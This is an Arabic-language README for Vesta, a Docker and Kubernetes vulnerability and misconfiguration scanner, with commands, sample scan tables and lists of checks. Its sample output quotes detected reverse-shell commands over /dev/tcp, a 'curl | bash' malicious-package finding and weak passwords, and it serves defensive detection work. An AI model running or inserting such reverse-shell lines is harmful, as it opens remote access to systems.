kvesta/vestaتحليل ثابت للثغرات، وأداة كشف تكوين كتلة Docker و Kubernetes تعتمد على الاختراق الفعلي للحوسبة السحابية.
أداة تحليل ثابتة للثغرات الأمنية، واكتشاف تكوين مجموعة Docker و Kubernetes، تعتمد على اختبار الاختراق الفعلي للحوسبة السحابية.
Vesta هي أداة تحليل ثابتة للثغرات الأمنية، واكتشاف تكوين مجموعة Docker و Kubernetes. تقوم بفحص تكوينات Kubernetes و Docker، ومجموعات البودات، والحاويات وفقًا للممارسات الآمنة.
Vesta هي أداة مرنة يمكن تشغيلها على أجهزة فعلية في أنواع مختلفة من الأنظمة (Windows، Linux، MacOS).
مسح
Docker
Kubernetes
تم بناء Vesta باستخدام Go 1.18.```bash make build
## بداية سريعة
مثال على فحص صورة أو حاوية، استخدم `-f` للإدخال عبر ملف tar، ابدأ vesta:```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
.```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+
<details>
<summary>النتيجة</summary>
</details>
مثال لفحص تكوين دوكر، ابدأ فيستا:```bash
vesta analyze docker
أو تشغيل باستخدام dokcer```bash make run.docker
الإخراج:```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
مثال على فحص تكوين Kubernetes، بدء vesta:```bash vesta analyze k8s
الإخراج:```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
$./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta
Usage: vesta [command]
Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit
Flags: -h, --help help for vesta
## الحدث
### قائمة أسلحة KCon 2023
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
| مدعوم | عنصر الفحص | الوصف | الخطورة | المرجع |
|---|
| ✔ | PrivilegeAllowed | تم السماح بالوحدة المميزة. | حرجة | مرجع |
| ✔ | Capabilities | تم فتح إمكانيات خطيرة. | حرجة | مرجع |
| ✔ | Volume Mount | تثبيت موقع خطير. | حرجة | مرجع |
| ✔ | Docker Unauthorized | المنفذ 2375 مفتوح وغير مصرح به. | حرجة | مرجع |
| ✔ | Kernel version | إصدار النواة أقل من إصدار الهروب. | حرجة | مرجع |
| ✔ | Network Module | وحدة الشبكة هي host وإصدار containerd أقل من 1.41. | حرجة/متوسطة | |
| ✔ | Pid Module | وحدة PID هي host. | عالية | |
| ✔ | Docker Server version | إصدار الخادم ضمن الإصدارات الضعيفة. | حرجة/عالية/متوسطة/منخفضة | |
| ✔ | Docker env password check | فحص كلمات المرور الضعيفة في قاعدة البيانات. | عالية/متوسطة | |
| ✔ | Docker History | طبقات Docker والبيئة تحتوي على أوامر خطيرة. | عالية/متوسطة | |
| ✔ | Docker Backdoor | أمر Docker env يحتوي على أوامر ضارة. | حرجة/عالية | |
| ✔ | Docker Swarm | Docker swarm يحتوي على تكوينات أو أسرار خطيرة أو حاويات غير آمنة. | متوسطة/منخفضة | |
| ✔ | Docker supply chain | سلسلة توريد Docker بها تكوينات ضعيفة | حرجة/عالية/متوسطة | مرجع |
| مدعوم | عنصر الفحص | الوصف | الخطورة | المرجع |
|---|
| ✔ | PrivilegeAllowed | تم السماح بالوحدة المميزة. | حرجة | مرجع |
| ✔ | Capabilities | تم فتح إمكانيات خطيرة. | حرجة | مرجع |
| ✔ | PV and PVC | PV مثبت في موقع خطير ونشط. | حرجة/متوسطة | مرجع |
| ✔ | RBAC | RBAC يحتوي على بعض التكوينات غير الآمنة في clusterrolebinding أو rolebinding. | عالية/متوسطة/منخفضة/تحذير | |
| ✔ | Kubernetes-dashboard | فحص -enable-skip-login وصلاحية الحساب. | حرجة/عالية/منخفضة | مرجع |
| ✔ | Kernel version | إصدار النواة أقل من إصدار الهروب. | حرجة | مرجع |
| ✔ | Docker Server version (إصدارات k8s أقل من v1.24) | إصدار الخادم ضمن الإصدارات الضعيفة. | حرجة/عالية/متوسطة/منخفضة | |
| ✔ | Kubernetes certification expiration | تنتهي صلاحية الشهادة بعد 30 يومًا. | متوسطة | |
| ✔ | ConfigMap and Secret check | فحص كلمات المرور الضعيفة في ConfigMap أو Secret. | عالية/متوسطة/منخفضة | مرجع |
| ✔ | PodSecurityPolicy check (إصدار k8s تحت v1.25) | PodSecurityPolicy يسمح بتكوينات البود الخطيرة. | عالية/متوسطة/منخفضة | مرجع |
| ✔ | Auto Mount ServiceAccount Token | تثبيت رمز الخدمة الافتراضي. | حرجة/عالية/متوسطة/منخفضة | مرجع |
| ✔ | NoResourceLimits | لم يتم تعيين حدود للموارد. | منخفضة | مرجع |
| ✔ | Job and Cronjob | لم يتم تعيين seccomp أو seLinux في Job أو CronJob. | منخفضة | مرجع |
| ✔ | Envoy admin | Envoy admin مفتوح ويستمع إلى 0.0.0.0. | عالية/متوسطة | مرجع |
| ✔ | Cilium version | Cilium به إصدار ضعيف. | حرجة/عالية/متوسطة/منخفضة | مرجع |
| ✔ | Istio configurations | Istio به إصدارات وتكوينات ضعيفة. | حرجة/عالية/متوسطة/منخفضة | مرجع |
| ✔ | Kubelet 10250/10255 and Kubectl proxy | المنفذان 10255/10250 مفتوحان وغير مصرح بهما أو Kubectl proxy مفتوح. | عالية/متوسطة/منخفضة | |
| ✔ | Etcd configuration | فحص التكوين الآمن لـ Etcd. | عالية/متوسطة | |
| ✔ | Sidecar configurations | Sidecar يحتوي على بعض التكوينات الخطيرة. | حرجة/عالية/متوسطة/منخفضة | |
| ✔ | Pod annotation | Pod annotation يحتوي على بعض التكوينات غير الآمنة. | عالية/متوسطة/منخفضة/تحذير | مرجع |
| ✔ | DaemonSet | DaemonSet يحتوي على تكوينات غير آمنة. | حرجة/عالية/متوسطة/منخفضة | |
| ✔ | Backdoor | كشف الباب الخلفي. | حرجة/عالية | مرجع |
| ✔ | Lateral admin movement | البود يحدد عقدة رئيسية. | متوسطة/منخفضة |